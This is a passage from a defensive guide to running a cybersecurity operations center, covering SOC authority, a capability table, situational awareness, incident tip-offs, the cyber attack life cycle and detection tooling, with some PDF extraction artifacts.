a vote but not the final say. 3. Full authority. A SOC can direct constituents to take certain actions, without seek - ing or waiting for the approval or support from any higher level party. The SOC’s ability to dictate changes is recognized at least in practice, if not formally. A SOC’s authority is never absolute, even if it has “full” authority within some scope of its operations. A SOC’s formal authorities can be applied up to a point, beyond which the SOC must turn to influence rather than mandate. For aggressive countermeasures or response such as disabling a key corporate server, high-level agreement and understanding is needed. While a SOC may have the ability to unplug a system from the network because some - thing bad did happen , it usually may not mandate a configuration change for the enterprise because something bad might happen . In fact, some SOCs’ authorities are written so that they may only leverage the bulk of their authority when they declare a serious incident. In practice, all SOCs leverage both formal and perceived internal authorities, as well as the influence and authorities of their seniors. Diverging from [4] , we classify authority in two stages of the incident life cycle: 18 1. Reactive. Responsive measures taken after an incident is either suspected or con - firmed. Actions are usually more tactical in nature—they are temporary and impact only those constituents and systems that are directly involved in an incident. Examples include logical or physical isolation of a host, log collection from a server, or an ad hoc collection of artifacts. 2. Proactive. Measures taken in preemption of a perceived threat, before direct evi - dence of an incident is uncovered. These actions are more strategic in nature—they are usually durable and impact substantial portions of the constituency. Examples include an emergency push of patches to an entire Windows domain, domain name system (DNS) black holes or IP blocks for networks belonging to an adversary, an out-of-cycle password reset for users of a Web-facing portal, or a change to a secu - rity configuration policy. Regardless of the authorities vested in the SOC, nothing happens without a close work - ing relationship with system owners, sysadmins, and IT executives. Section 5 discusses SOC authorities in practice, and Appendix A lists the SOC’s many touch points. 2.4 Capabilities A SOC satisfies the constituency’s network monitoring and defense needs by offering a set of services . We recognize the list of SOC services from [8] . However, since its publication in 2003, SOCs have matured and adapted to increased demands, a changing threat environ-ment, and tools that have dramatically enhanced the state of the art in CND operations. We also wish to articulate the full scope of what a SOC may do, regardless of whether a particular function serves the constituency, the SOC proper, or both. As a result, this book subsumes SOC services into a comprehensive list of SOC capabilities . Table 1 is a comprehensive list of common capabilities that a SOC may provide, with the understanding that any one SOC will never cover all of these. As described in Section 6, the SOC’s management chain is responsible for picking and choosing what capabilities best fits its constituency’s needs, given political and resource constraints.Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center19 Table 1 S OC Capabilities Name Description Real-Time Analysis Call CenterTips, incident reports, and requests for CND services from constituents received via phone, email, SOC website postings, or other methods. This is roughly analogous to a traditional IT help desk, except that it is CND specific. Real-Time Monitoring and TriageT riage and short-turn analysis of real-time data feeds (such as system logs and alerts) for potential intrusions. After a specified time threshold, suspected incidents are esca - lated to an incident analysis and response team for further study. Usually synonymous with a SOC’s Tier 1 analysts, focusing on real-time feeds of events and other data visualizations. Note: This is one of the most easily recognizable and visible capabilities offered by a SOC, but it is meaningless without a corresponding incident analysis and response capability, discussed below. Intel and Trending Cyber Intel Collection and AnalysisCollection, consumption, and analysis of cyber intelligence reports, cyber intrusion reports, and news related to information security, covering new threats, vulnerabilities, products, and research. Materials are inspected for information requiring a response from the SOC or distribution to the constituency. Intel can be culled from coordinating SOCs, vendors, news media websites, online forums, and email distribution lists. Cyber Intel DistributionSynthesis, summarization, and redistribution of cyber intelligence reports, cyber intru - sion reports, and news related to information security to members of the constituency on either a routine basis (such as a weekly or monthly cyber newsletter) or a non-rou - tine basis (such as an emergency patch notice or phishing campaign alert). Cyber Intel CreationPrimary authorship of new cyber intelligence reporting, such as threat notices or high - lights, based on primary research performed by the SOC. For example, analysis of a new threat or vulnerability not previously seen elsewhere. This is usually driven by the SOC’s own incidents, forensic analysis, malware analysis, and adversary engagements. Cyber Intel FusionExtracting data from cyber intel and synthesizing it into new signatures, content, and understanding of adversary TTPs, thereby evolving monitoring operations (e.g., new signatures or SIEM content). TrendingLong-term analysis of event feeds, collected malware, and incident data for evidence of malicious or anomalous activity or to better understand the constituency or adver - sary TTPs. This may include unstructured, open-ended, deep-dive analysis on various data feeds, trending and correlation over weeks or months of log data, “low and slow” data analysis, and esoteric anomaly detection methods. Threat AssessmentHolistic estimation of threats posed by various actors against the constituency, its enclaves, or lines of business, within the cyber realm. This will include leveraging exist - ing resources such as cyber intel feeds and trending, along with the enterprise’s archi - tecture and vulnerability status. Often performed in coordination with other cyberse - curity stakeholders. 20 Table 1 S OC Capabilities Name Description Incident Analysis and Response Incident AnalysisProlonged, in-depth analysis of potential intrusions and of tips forwarded from other SOC members. This capability is usually performed by analysts in tiers 2 and above within the SOC’s incident escalation process. It must be completed in a specific time span so as to support a relevant and effective response. This capability will usually involve analysis leveraging various data artifacts to determine the who, what, when, where, and why of an intrusion—its extent, how to limit damage, and how to recover. An analyst will document the details of this analysis, usually with a recommendation for further action. Tradecraft AnalysisCarefully coordinated adversary engagements, whereby SOC members perform a sus - tained “down-in-the-weeds” study and analysis of adversary TTPs, in an effort to bet - ter understand them and inform ongoing monitoring. This activity is distinct from other capabilities because (1) it sometimes involves ad hoc instrumentation of networks and systems to focus on an activity of interest, such as a honeypot, and (2) an adversary will be allowed to continue its activity without immediately being cut off completely. This capability is closely supported by trending and malware and implant analysis and, in turn, can support cyber intel creation. Incident Response Coordination Work with affected constituents to gather further information about an incident, understand its significance, and assess mission impact. More important, this function includes coordinating response actions and incident reporting. This service does not involve the SOC directly implementing countermeasures. Countermeasure ImplementationActual implementation of response actions to an incident to deter, block, or cut off adversary presence or damage. Possible countermeasures include logical or physical isolation of involved systems, firewall blocks, DNS black holes, IP blocks, patch deploy - ment, and account deactivation. On-site Incident ResponseWork with constituents to respond and recover from an incident on-site. This will usu - ally require SOC members who are already located at, or who travel to, the constitu - ent location to apply hands-on expertise in analyzing damage, eradicating changes left by an adversary, and recovering systems to a known good state. This work is done in partnership with system owners and sysadmins. Remote Incident ResponseWork with constituents to recover from an incident remotely. This involves the same work as on-site incident response. However, SOC members have comparatively less hands-on involvement in gathering artifacts or recovering systems. Remote support will usually be done via phone and email or, in rarer cases, remote terminal or adminis - trative interfaces such as Microsoft T erminal Services or Secure Shell (SSH). Artifact Analysis Forensic Artifact HandlingGathering and storing forensic artifacts (such as hard drives or removable media) related to an incident in a manner that supports its use in legal proceedings. Depend - ing on jurisdiction, this may involve handling media while documenting chain of cus - tody, ensuring secure storage, and supporting verifiable bit-by-bit copies of evidence.Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center21 Table 1 S OC Capabilities Name Description Malware and Implant AnalysisAlso known as malware reverse engineering or simply “reversing.” Extracting malware (viruses, T rojans, implants, droppers, etc.) from network traffic or media images and analyzing them to determine their nature. SOC members will typically look for initial infection vector, behavior, and, potentially, informal attribution to determine the extent of an intrusion and to support timely response. This may include either static code analysis through decompilation or runtime/execution analysis (e.g., “detonation”) or both. This capability is primarily meant to support effective monitoring and response. Although it leverages some of the same techniques as traditional “forensics,” it is not necessarily executed to support legal prosecution. Forensic Artifact AnalysisAnalysis of digital artifacts (media, network traffic, mobile devices) to determine the full extent and ground truth of an incident, usually by establishing a detailed timeline of events. This leverages techniques similar to some aspects of malware and implant analysis but follows a more exhaustive, documented process. This is often performed using processes and procedures such that its findings can support legal action against those who may be implicated in an incident. SOC Tool Life-Cycle Support Border Protection Device O&MOperation and maintenance (O&M) of border protection devices (e.g., firewalls, Web proxies, email proxies, and content filters). Includes updates and CM of device policies, sometimes in response to a threat or incident. This activity is closely coordinated with a NOC. SOC Infrastructure O&MO&M of SOC technologies outside the scope of sensor tuning. This includes care and feeding of SOC IT equipment: servers, workstations, printers, relational databases, trouble-ticketing systems, storage area networks (SANs), and tape backup. If the SOC has its own enclave, this will likely include maintenance of its routers, switches, firewalls, and domain controllers, if any. This also may include O&M of monitoring sys - tems, operating systems (OSes), and hardware. Personnel who support this service have “root” privileges on SOC equipment. Sensor Tuning and MaintenanceCare and feeding of sensor platforms owned and operated by the SOC: IDS, IPS, SIEM, and so forth. This includes updating IDS/IPS and SIEM systems with new signa - tures, tuning their signature sets to keep event volume at acceptable levels, minimiz - ing false positives, and maintaining up/down health status of sensors and data feeds. SOC members involved in this service must have a keen awareness of the monitoring needs of the SOC so that the SOC may keep pace with a constantly evolving consis - tency and threat environment. Changes to any in-line prevention devices (HIPS/NIPS) are usually coordinated with the NOC or other areas of IT operations. This capability may involve a significant ad hoc scripting to move data around and to integrate tools and data feeds. 22 Table 1 S OC Capabilities Name Description Custom Signature CreationAuthoring and implementing original detection content for monitoring systems (IDS signatures, SIEM use cases, etc.) on the basis of current threats, vulnerabilities, pro - tocols, missions, or other specifics to the constituency environment. This capability leverages tools at the SOC’s disposal to fill gaps left by commercially or community-provided signatures. The SOC may share its custom signatures with other SOCs. Tool Engineering and DeploymentMarket research, product evaluation, prototyping, engineering, integration, deployment, and upgrades of SOC equipment, principally based on free or open source software (FOSS) or commercial off-the-shelf (COTS) technologies. This service includes bud - geting, acquisition, and regular recapitalization of SOC systems. Personnel supporting this service must maintain a keen eye on a changing threat environment, bringing new capabilities to bear in a matter of weeks or months, in accordance with the demands of the mission. Tool Research and DevelopmentResearch and development (R&D) of custom tools where no suitable commercial or open source capability fits an operational need. This activity’s scope spans from code development for a known, structured problem to multiyear academic research applied to a more complex challenge. Audit and Insider Threat Audit Data Collection and DistributionCollection of a number of security-relevant data feeds for correlation and incident analysis purposes. This collection architecture may also be leveraged to support dis - tribution and later retrieval of audit data for on-demand investigative or analysis pur - poses outside the scope of the SOC mission. This capability encompasses long-term retention of security-relevant data for use by constituents outside the SOC. Audit Content Creation and ManagementCreation and tailoring of SIEM or log maintenance (LM) content (correlation, dash - boards, reports, etc.) for purposes of serving constituents’ audit review and misuse detection. This service builds off the audit data distribution capability, providing not only a raw data feed but also content built for constituents outside the SOC. Insider Threat Case SupportSupport to insider threat analysis and investigation in two related but distinct areas: 1. F inding tip-offs for potential insider threat cases (e.g., misuse of IT resources, time card fraud, financial fraud, industrial espionage, or theft). The SOC will tip off appropriate investigative bodies (law enforcement, Inspector General [IG], etc.) with a case of interest. 2. On behalf o f these investigative bodies, the SOC will provide further monitoring, information collection, and analysis in support of an insider threat case. Insider Threat Case InvestigationThe SOC leveraging its own independent regulatory or legal authority to investigate insider threat, to include focused or prolonged monitoring of specific individuals, with - out needing support or authorities from an external entity. In practice, few SOCs out - side the law enforcement community have such authorities, so they usually act under another organization’s direction.Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center23 Table 1 S OC Capabilities Name Description Scanning and Assessment Network MappingSustained, regular mapping of constituency networks to understand the size, shape, makeup, and perimeter interfaces of the constituency, through automated or manual techniques. These maps often are built in cooperation with—and distributed to—other constituents. For more information, see Section 8.1.2. Vulnerability ScanningInterrogation of consistency hosts for vulnerability status, usually focusing on each system’s patch level and security compliance, typically through automated, distributed tools. As with network mapping, this allows the SOC to better understand what it must defend. The SOC can provide this data back to members of the constituency—per - haps in report or summary form. This function is performed regularly and is not part of a specific assessment or exercise. For more information, see Section 8.1.3. Vulnerability AssessmentFull-knowledge, open-security assessment of a constituency site, enclave, or system, sometimes known as “Blue T eaming.” SOC members work with system owners and sysadmins to holistically examine the security architecture and vulnerabilities of their systems, through scans, examining system configuration, reviewing system design documentation, and interviews. This activity may leverage network and vulnerability scanning tools, plus more invasive technologies used to interrogate systems for con - figuration and status. From this examination, team members produce a report of their findings, along with recommended remediation. SOCs leverage vulnerability assess - ments as an opportunity to expand monitoring coverage and their analysts’ knowledge of the constituency. Penetration Testing No-knowledge or limited-knowledge assessment of a specific area of the constitu - ency, also known as “Red T eaming.” Members of the SOC conduct a simulated attack against a segment of the constituency to assess the target’s resiliency to an actual attack. These operations usually are conducted only with the knowledge and autho - rization of the highest level executives within the consistency and without forewarn - ing system owners. T ools used will actually execute attacks through various means: buffer overflows, Structured Query Language (SQL) injection, and input fuzzing. Red T eams usually will limit their objectives and resources to model that of a specific actor, perhaps simulating an adversary’s campaign that might begin with a phishing attack. When the operation is over, the team will produce a report with its findings, in the same manner as a vulnerability assessment. However, because penetration test - ing activities have a narrow set of goals, they do not cover as many aspects of system configuration and best practices as a vulnerability assessment would. In some cases, SOC personnel will only coordinate Red-T eaming activities, with a des - ignated third party performing most of the actual testing to ensure that testers have no previous knowledge of constituency systems or vulnerabilities. For more information on penetration testing and vulnerability assessment methodol - ogy, see the testing sections in [30], [46], [31], [32], [34], and [35]. 24 Table 1 S OC Capabilities Name Description Outreach Product AssessmentT esting the security features of point products being acquired by constituency mem - bers. Analogous to miniature vulnerability assessments of one or a few hosts, this testing allows in-depth analysis of a particular product’s strengths and weaknesses from a security perspective. This may involve “in-house” testing of products rather than remote assessment of production or preproduction systems. Security ConsultingProviding cybersecurity advice to constituents outside the scope of CND; supporting new system design, business continuity, and disaster recovery planning; cybersecurity policy; secure configuration guides; and other efforts. Training and Awareness BuildingProactive outreach to constituents supporting general user training, bulletins, and other educational materials that help them understand various cybersecurity issues. The main goals are to help constituents protect themselves from common threats such as phishing/pharming schemes, better secure end systems, raise awareness of the SOC’s services, and help constituents correctly report incidents. Situational AwarenessRegular, repeatable repackaging and redistribution of the SOC’s knowledge of con - stituency assets, networks, threats, incidents, and vulnerabilities to constituents. This capability goes beyond cyber intel distribution, enhancing constituents’ understanding of the cybersecurity posture of the constituency and portions thereof, driving effective decision making at all levels. This information can be delivered automatically through a SOC website, Web portal, or email distribution list. Redistribution of TTPsSustained sharing of SOC internal products to other consumers such as partner or subordinate SOCs, in a more formal, polished, or structured format. This can include almost anything the SOC develops on its own (e.g., tools, cyber intel, signatures, inci - dent reports, and other raw observables). The principle of quid pro quo often applies: information flow between SOCs is bidirectional. Media RelationsDirect communication with the news media. The SOC is responsible for disclosing information without impacting the reputation of the constituency or ongoing response activities. 2.5 S ituational Awareness For a SOC to effectively provide a set of capabilities to constituents, it must understand the environment in which it executes the CND mission, both at a macroscopic and microscopic level. A large portion of a SOC’s job, whether intentionally or by accident, is to maintain and provide this understanding of the constituency’s defensive posture back out to its constitu - ents. This understanding is referred to as situational awareness (SA) . The most commonly accepted definition of SA in a generic context can be found in Endsley [47]: Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center25 Situation awareness is the perception of the elements of the environment within a volume of time and space, the comprehension of their meaning, and the projection of their status in the near future. The idea of SA grew out of aviation [47 , pp. 32-33] in the latter half of the 20th century. Imagine a fighter pilot in his aircraft. Along with his view out of the cockpit window, he has an array of instruments to help him understand where his aircraft is, what its status is, and his surroundings, such as other nearby aircraft. He is constantly making decisions about what to do with his aircraft on the basis of that understanding. For the fighter pilot to effectively defend himself and his fellow service members against attack, he must be an expert at comprehending a variety of sensory inputs, syn - thesizing their meaning in the aggregate, and then acting on that understanding. A pilot’s priorities are aviate, navigate, and communicate. Similarly, pilots are constantly drilled on three key aspects that comprise their SA: airspeed, altitude, and direction. Their job is complex, and few can do it well. Ideally speaking, a SOC does essentially the same thing as the pilot, but in the cyber realm. One could argue, however, that the SOC’s job is more complex due to the size and complexity of “cyber.” While a pilot has one aircraft to control and perhaps no more than a few dozen friendlies or foes around him to keep track of, a SOC may have hundreds of sen-sors, tens of thousands of assets, and hundreds of potential adversaries. Aviators operate in kinetic space, where instruments normally can be trusted and the results of one’s actions are usually obvious. In the cyber realm, analysts must cope with far more ambiguity. The confidence a pilot places in his instruments is high; SOC analysts must always drill down to raw data in an attempt to establish the ground truth of an incident. In fact, sometimes the analyst cannot fully understand exactly what happened, due to incomplete or incon-clusive data. Whereas aviation is a topic that has been understood and practiced by over a million people for more than 100 years, CND has been understood and practiced by far fewer for far less time. Ambiguity and uncertainty—the opposites of good cyber SA—exist at every stage of the incident life cycle and must be mitigated through continual improvement in monitoring coverage and analytics. The generic definition of SA can be extended to describe cyber SA through the Committee on National Security Systems’ (CNSS) definition in [42, p. 69] , which appears to be derived from Endsley: 26 Within a volume of time and space, the perception of an enterprise’s security pos - ture and its threat environment; the comprehension/meaning of both taken together (risk); and the projection of their status into the near future. For the SOC, the practice of gaining cyber SA is divided into three components: 1. Information. Sensor data, contextual data, cyber intel, news events, vendor product vulnerabilities, threats, and taskings 2. Analytics. Interpreting and processing this information 3. Visualization. Depicting SA information in visual form. Section 8.4 and Section 9 discuss the tools that feed information to the analyst as well as SIEM, the cornerstone of analytics. In the cyber SA realm, visualization is still in its infancy. Although there has been extensive work in the area of cyber SA visualization [48] [49] [50], there does not appear to be a universally followed practice for visualizing cyber - security information. For the SOC, gaining and using SA follows the observe, orient, decide, and act loop ( OODA Loop ), Figure 2, a self-reinforcing decision cycle process originally pro - posed by John Boyd [51] . The analyst is constantly making observations about the constituency, orienting that information with previous information and experience, making decisions on the basis of that synthesis, taking action, and then repeating the process. Over time spans varying from minutes to years, SOC analysts build their familiarity with their constitu - ency and relevant cyber threats. As that SA is enhanced, they become more effective operators. Because good SA is built up by each analyst over time, staff attrition can be a serious impediment to effective SOC operations; therefore, the SOC must take steps to minimize and cope with turnover. One way to divide up cyber SA is into three related, deeply coupled, and equally important areas: network, mission, and threat. The SOC as a whole must maintain cogni - zance over all three areas to be effective. These areas of SA are described as follows: Network ‚Number, type, location, and network connectivity of IT assets, including desktops, servers, network devices, mobile devices, and outsourced “cloud” systemsFundamentals Orient Observe ActDecide Figure 2 OODA Loop T en Strategies of a World-Class Cybersecurity Operations Center27 ‚Network topology, including physical and logical connectivity, boundaries that sepa- rate differing zones of trust, and external connections ‚Asset, network, and application: • Security requirements (confidentiality, availability, integrity) • Security architecture (including authentication, access control, and audit) ‚State of constituency IT assets • What “normal” state looks like across major network segments and hosts • Changes in that state, such as changes in configuration, host behavior, ports and protocols, and traffic volume ‚The vulnerability of hosts and applications, as seen from different points on the net - work and network perimeter, and countermeasures that mitigate those vulnerabilities. Mission ‚The lines of business and mission the constituency engages in, including their value, which may be expressed in revenue, expenditures, or lives ‚Geographic/physical location where different parts of the mission occur ‚The business relationship between the constituency and external parties: • The public • Businesses • Government entities • Academic and not-for-profit organizations ‚How constituency mission and business processes map to constituency IT assets, applications, enclaves, data, and the dependencies among them ‚The role, importance, and public profile of major user groups, such as: • System administrators • Executives and their administrative staff • Those with access to sensitive information (intellectual property, finance) • General constituency user population • Users external to the constituency ‚The meaning of activity on constituency networks and hosts in the context of the mission. Threat ‚Adversaries’: • Capability, including skill level and resources • Intent and motivation • Probability of attack 28 • Level of access (legitimate or otherwise) • Impact on constituency business/mission and IT • Likely identity or allegiance • Actions: in the past, present, and projected into the future ‚Assessment and potential attribution of activity to certain adversaries, either internal or external to the constituency. SA takes on different forms, depending on the level at which cybersecurity decisions will be made. At the lowest tactical level, the network defender sees out to the end asset and enclave, with a direct understanding of hosts and users. Above that, at the operational level, are lines of business and large networks. At the top is the strategic level, where long-term campaigns are waged by the adversary and where entire enterprises exist. As a result, the need to understand the constituency and actors varies widely, depending on what level of SA is appropriate—from the Tier 1 SOC analyst to the CIO and beyond. The constituency, especially its executives, naturally look to the SOC to answer ques - tions such as, “What’s happening on my network?” A SOC can focus on its mission by pro - viding details to constituents and other SOCs, during both normal operations and a critical incident. Without proactively providing enough detail, the SOC either will be marginalized or will constantly field ad hoc data calls. If the SOC provides too much detail, its resources will be overcommitted to answering questions from constituency management and thus unable to adequately spot and analyze intrusion activity. Finding a balance in proactive reporting to constituents and other partner SOCs will help the SOC gain recognition as a valued resource. Effective reporting will also spur partner organizations—especially other cybersecu - rity stakeholders—to provide feedback, reinforcing and growing the SOC’s SA. Having mature cyber SA allows the network defender to answer some crucial questions: ‚What is the patch status of the enterprise? Which patches do we really need to care about, and which are less important? ‚Is my constituency facing the serious threat of a targeted external attack such as a spear phishing campaign? ‚What is a useful, real-time picture of possible intrusions or, at the very least, known malware? ‚To which systems should I apply different security controls that will provide the great - est overall help in preventing a given set of attacks?Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center29 ‚What is changing about the threats faced by the constituency? How are their TTPs changing, and what do I have or need to detect and defend against those new threats? ‚Who is acting outside their typical lines of behavior, and is this cause for concern? ‚What is the relevance of the attacks I’m investigating within the context of the con - stituency mission? 2.6 I ncident Tip-offs A SOC’s number one job is to find and respond to security incidents. Potential incident reports, or “ tippers ,” can come from a number of parties, including: ‚Constituents with normal, unprivileged system access ‚Constituency system and network administrators ‚Constituency help desk ‚Constituency ISSOs and ISSMs ‚Legal counsel or compliance entities ‚Peered, subordinate, coordinating, or national SOCs ‚Law enforcement or other investigatory entities ‚Other organizations somehow involved in the incident. These tip-offs can be delivered through a variety of methods, typically: ‚Email messages ‚Phone calls ‚Walk-in reports ‚Incident reporting form on SOC website ‚Cyber tip feeds (from other SOCs). Incidents reported through these means should usually be regarded as high-value, especially in comparison to unconfirmed IDS alerts. Because they were evaluated in the context of these parties’ own missions and systems, they are almost certain to be worthy of attention. That said, these incidents must be carefully evaluated against data the SOC has access to in order to evaluate whether follow-up is necessary. Incidents stemming from external tip-offs only constitute a portion of the SOC’s entire caseload. Some, if not most, incidents are detected and run to ground through internal means that are discussed more fully in Section 8 : 1. N etwork intrusion detection system/network intrusion prevention system (NIDS/ NIPS) 2. H ost intrusion detection system/host intrusion prevention system (HIDS/HIPS) 3. N etwork traffic log (NetFlow) collection and analysis 30 4. O perating system, application, and network device logs such as Web server logs, Web proxy logs, DNS logs, and anti-virus (AV) alerts 5. L M/analysis tools and SIEM that collect, analyze, correlate, and report on these logs 6. A dversary sandboxing and observation techniques ranging from malware “detona - tion chambers” to honeypots 7. F orensic analysis of malware samples and media images such as hard drives 8. A utomated collection and alerting on cyber intel 9. F ull-session network traffic capture (PCAP) analysis. A SOC’s focus is detecting with these tools and data, but they can often be expensive to operate and maintain. Typically, educating the constituency is the cheapest way to obtain good incident tip-offs. Smaller, less mature SOCs may often rely heavily on tip-offs from members of the constituency and existing log sources. Larger SOCs, with more resources, can leverage methods to detect incidents on their own, such as a blanket of network and host sensors and SIEM. Even with a well-educated constituency, a SOC still needs significant infrastructure to gather supporting data, perform analysis, and respond. Ideally, a SOC will detect an incident before significant damage is done. Historically, SOCs have focused their efforts on the ideal case: detecting an incident while the adversary is performing reconnaissance on the target or during the actual attack where a presence is gained on a system through exploiting a vulnerability. Given the increasing sophistication and obscurity of attacks, SOCs are compelled to consider the entire “ cyber attack life cycle ,” 1 (Figure 3) also referred to as the “cyber kill chain,” a concept adapted from traditional kinetic warfare in [52] . Using this approach, the SOC strives to detect and responds to adversaries, not just when they deliver their 1 T he version of the cyber attack life cycle presented in Figure 3 and Table 2 is derived from the Lockheed Martin version of the cyber kill chain [317] .Fundamentals Recon WeaponizeDeliver ExploitControl ExecuteMaintainRight of hack Left of hack Figure 3 Cyber Attack Life Cycle T en Strategies of a World-Class Cybersecurity Operations Center31 attack to a target, but throughout the life cycle, from reconnaissance to an extended pres - ence on compromised systems. Table 2 synopsizes each stage of the cyber attack life cycle. Using knowledge of the entire cyber attack life cycle, we can take a more holistic approach to sensing and analytics. For instance, sensor instrumentation of constituency net - works and hosts should not only provide indications of reconnaissance and exploit activity but should also reveal the presence of remote access tools (RATs) used in the control and execute phases. Furthermore, evidence of an exploit may be elusive, considering that it may not be known (e.g., “0-day” attack) or may not be seen on the network. That said, a typical objective such as sensitive data exfiltration can sometimes be detected through abnormally large amounts of data being transmitted out of the enterprise. Finally, many incidents occur Table 2 Cyber Attack Life Cycle Cyber Attack Life Cycle PhaseDescription Example Recon(naissance)The adversary identifies and investi- gates targets.Web mining against corporate websites and online conference attendee lists. WeaponizeThe set of attack tools are pack - aged for delivery and execution on the victim’s computer/network.The adversary creates a trojanized Portable Document Format (PDF) file containing his attack tools. DeliverThe packaged attack tool or tools are delivered to the target(s).The adversary sends a spear phishing email containing the tro- janized PDF file to his target list. ExploitThe initial attack on the target is executed.The targeted user opens the mali- cious PDF file and the malware is executed. ControlThe adversary begins to direct the victim system(s) to take actions.The adversary installs additional tools on the victim system(s). ExecuteThe adversary begins fulfilling his mission requirements.The adversary begins to obtain desired data, often using the vic- tim system as a launch point to gain additional internal system and network access. Maintain Long-term access is achieved.The adversary has established hidden backdoors on the target network to permit regular reentry. 32 because trusted parties use legitimate privileges for illegitimate ends (e.g., industrial espio - nage). As a result, some steps in the attack life cycle may be skipped. The SOC has the best chance of catching the adversary when it equips the constituency with capabilities that cover the entire attack life cycle. Finally, the SOC must recognize that evidence of attacks can occur in multiple places— through network traffic or in the host’s basic input/output system (BIOS), firmware, hard drive, removable media, system-level software and applications in memory, and less privi - leged user-level applications in memory. This recognition impacts both what sensors are deployed and the operators’ understanding of when and how these sensors can be blinded, disabled, or simply circumvented. The mantra of “defense-in-depth” [53] applies to incident monitoring and response. From corruption of system firmware to attacks traversing Internet gateways, the SOC must deploy a variety of techniques to cover the entire cyber attack life cycle and constituency. 2.7 T ools and Data Quality The CND mission succeeds or fails by the SOC analysts’ ability to collect and understand the right data at the right time in the right context. Virtually every mature SOC uses a num-ber of technologies that generate, collect, analyze, store, and present tremendous amounts of security-relevant data to SOC members. Figure 4 illustrates the high-level SOC architec - ture of the tools and technologies a SOC uses. A SOC may place monitoring tools at many points in the constituency to look for evi - dence of malicious or anomalous activity across each stage of the cyber attack life cycle. For instance, both key hosts and network choke points provide appealing locations for SOC analysts to look for indications of anomalous or malicious activity. Each tool produces a series of events and raw contextual data that, once examined, may provide evidence of an incident. In this section, we discuss the fundamentals of how most SOC detection tools operate, and the trade-offs the SOC faces when considering what and how much data to gather in an effort to find intrusions and run them to ground. 2.7.1 F rom Tip-offs to Ground Truth The SOC must carefully decide how it instruments constituency IT assets and networks with sensors and log feeds, both for incident tip-offs and supporting context. This concept is nothing new. On the morning of 7 December 1941, a radar station in Oahu, Hawaii, Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center33 operated by the U.S. Army, picked up a huge blip on its instruments. Vigilant radar opera- tors sent news of their finding to another unit on the island; however, they could not understand what was actually on their radar [54] because they had no other observables to confirm what they were seeing or provide context. They speculated that the blip was caused by friendly B-17s flying a mission that same morning. Unfortunately, what was actually on their radar were Japanese warplanes on their way to bomb Pearl Harbor. Had the radar operators been able to confirm that the blip on their instruments was the enemy, they could have taken preemptive measures to prepare for the attack. The same can be said of many high-severity alerts seen by SOC analysts—without supporting data, the raw alert is worth little. No matter how severe, a single raw event by itself does not provide sufficient evidence that an incident actually occurred.Figure 4 Typical SOC Tool ArchitectureEvent Data LogsIDS/IPS alertsNetFlow Network Traffic Captures Malware Email attachments, viruses Raw Host Data Memory & mediaimages, config. dataNetwork maps & asset data Cyber intel & tippers Incident tracking & incident artifacts Artifactanalysis tools Malware repository Network traffic (PCAP) store Trending & correlation Analytics SOC analystsSOCEnclave Real-time monitoringSIEM and/orLog Management 34 Each event must be evaluated within the context of the system(s) it occurred on, the surrounding environment, supported mission, relevant cyber intelligence data, and other sources of data that can confirm or repudiate whether there is any cause for concern. This is why logical and physical proximity between the analysts and the systems they monitor enhances their ability to monitor and respond. Analysts will start with initial indicators (such as a high-priority alert or correlation rule trigger) and gather additional contextual data to evaluate the “ground truth” disposition of the event or series of events they are evaluating. Confidence in this data can be enhanced through techniques such as correla-tion and automating portions of data filtering and deduplication with SIEM. Often, the SOC cannot be 100 percent certain about what actually happened, due, usually, to incomplete, inconclusive, or ambiguous data. This is a reality that the SOC must cope with, especially when weighing its response options. While automation will save the SOC from drowning in a sea of raw data, do not forget the following truth: There is no replacement for the human analyst. Until a SOC analyst has evaluated the disposition of an alert, the SOC cannot be cer - tain that what occurred is a confirmed incident or is benign. Furthermore, no one analyst can know all the technologies or all the behaviors of the enclaves and hosts he or she is watching; multiple sets of eyes and analytics usually are better than one. There are cases where a set of indicators are correct often enough that certain response actions can be automated—such as with IPSes or SIEM automated response products. However, there is always the chance that a positive indicator will turn out to be incorrect—these are called false positives and are discussed in greater detail below. For now, however, consider tip-offs and contextual data as a spectrum: Tip-offs help orient the analyst as to what events should be looked at Fundamentals Figure 5 Context to Tip-offs: Full-Spectrum CND Data NIDS/NIPS NetFlow RecordsContext Actionable Audit logsCorrelated SIEM alerts HIDS/HIPS Content & malware detonation Full-session network capture (PCAP) Relative volume of dataDeserving of immediate attentionWhat really happened: Ground truth T en Strategies of a World-Class Cybersecurity Operations Center35 first. Context is needed to establish a complete detail of what actually happened (e.g., the undisputable “facts” of what occurred on the host and across the network). When a SOC’s monitoring does not cover this spectrum, its analysts will not be able to effectively spot and analyze suspected incidents. 2.7.2 Detection Several of the tools discussed here—host- and network-based IDSes/IPSes, SIEM, log aggre - gation tools, and AV software—follow a similar set of characteristics: 1. K nowledge of the environment and the threat is used to formulate a detection policy that defines known good, known bad, or normal behavior. 2. A d etection engine consumes a set of cyber observables (e.g., events or stateful properties that can be seen in the cyber operational domain) and compares them against a detection policy. Activity that matches known bad behavior or skews from typical “normal” behavior causes an event or a series of events containing details of the activity to be fired. 3. E vents can be sent to the CND analyst in real time or stored for later analysis and trending, or both. 4. F eedback from the events generated will inform further tweaks to the detection policy; this process of authoring and refining the detection policy is known as “tuning.” 5. E vents can be filtered in several places in a large monitoring architecture, most notably in two places: before the events are displayed to the analyst or before they are stored. Although IDSes and SIEM operate at different layers of abstraction, they both fit this model. The network IDS observables are network traffic. IDS alerts and logs feed SIEM, which treats these events as cyber observables, as the IDS did. There are two classical approaches to intrusion detection [2, pp. 86–87] : 1. Misuse or signature-based detection , where the system has a priori knowledge of how to characterize and therefore detect malicious behavior 2. Anomaly detection , where the system characterizes what normal or benign behav - ior looks like and alerts whenever it observes something that falls outside the scope of that behavior. Both approaches have pros and cons. In practice, finding tools that rely exclusively on one approach or the other is rare; most IDS and AV vendors integrate both techniques into their products. Commercial IDS vendors do this to enhance their products’ apparent value; however, the products’ effectiveness may vary with the robustness of their detection 36 engines. That said, examining most SOCs’ tool chests usually reveals a greater reliance on signature-based approaches than on anomaly detection tools. The most important thing to recognize is that signature-based detection requires the defender to know about adversary techniques in advance, which means the tool cannot alert on what has never been seen. On the other hand, training an anomaly detection tool suite often requires something akin to a baseline of “goodness,” which can be hard to attain. 2.7.3 T he Cost of False Positives Tools do not always alert when something bad happens, and just because they throw an alarm does not necessarily mean it is time to isolate a host or call the police. 